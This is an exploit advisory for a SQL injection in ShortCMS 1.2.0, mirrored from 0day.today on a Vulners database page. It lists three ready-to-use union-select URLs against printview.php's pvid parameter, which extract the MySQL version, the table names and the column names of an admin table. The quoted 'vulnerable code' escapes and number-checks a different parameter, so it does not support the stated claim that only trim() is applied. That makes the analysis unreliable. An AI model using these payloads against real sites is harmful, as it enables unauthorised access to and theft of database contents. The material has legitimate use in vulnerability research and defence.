Lucene search
K

ShortCMS 1.2.0 SQL Injection Vulnerability

🗓️ 14 Feb 2010 00:00:00Reported by ThibowType 
zdt
 zdt
🔗 0day.today👁 18 Views

ShortCMS 1.2.0 SQL Injection Vulnerability, France, News PrintView Pag

Code
==========================================
ShortCMS 1.2.0 SQL Injection Vulnerability
==========================================

#######################[ Informatique inside ]##########################
#ShortCMS             :  SQL injection
#Version              :  1.2.0 (Last Version of 11/02/2010) and ALL < version.
#Author               :  Thibow
#Location             :  France
#Solution             :  Secure your parameters in printView page of News
########################################################################


###############################################################################################################################################################################################################################
 
#=Sql Injection===============================================================================================================================================================================================================#
# Exploit[MySql Version]
# =>http://localhost/printview.php?func=news1&pvid=-55%20union%20all%20select%201,@@version,3,4,5,6,7,8--
#
# Exploit[Table Name]
# => http://localhost/printview.php?func=news1&pvid=-55%20union%20all%20select%201,group_concat%28table_name%29,3,4,5,6,7,8%20from%20information_schema.tables%20where%20table_schema=database%28%29--
#
# Exploit[Column name]
# => http://localhost/printview.php?func=news1&pvid=-55%20union%20all%20select%201,group_concat%28column_name%29,3,4,5,6,7,8%20from%20information_schema.columns%20where%20table_name=0x647363315f61646d696e5f616363657373--
#
#=============================================================================================================================================================================================================================#
 
 
 
#=Vulerable code===============================================================================================================================================================================================================#
 
File: ./content/news2view.con.php
Line: 50 to 56
 
      $news2_ID = trim( $_GET['news2_ID'] );
      $news2_ID = mysql_real_escape_string( $news2_ID );
      if( is_it_number( $news2_ID ) == TRUE ) {
        $news2_ID = $news2_ID;
      } else {
        $news2_ID = 0;
      }
 
=> The parameter news2_ID was recover in just trim() function... 



#  0day.today [2018-03-06]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Feb 2010 00:00Current
7.1High risk
Vulners AI Score7.1
18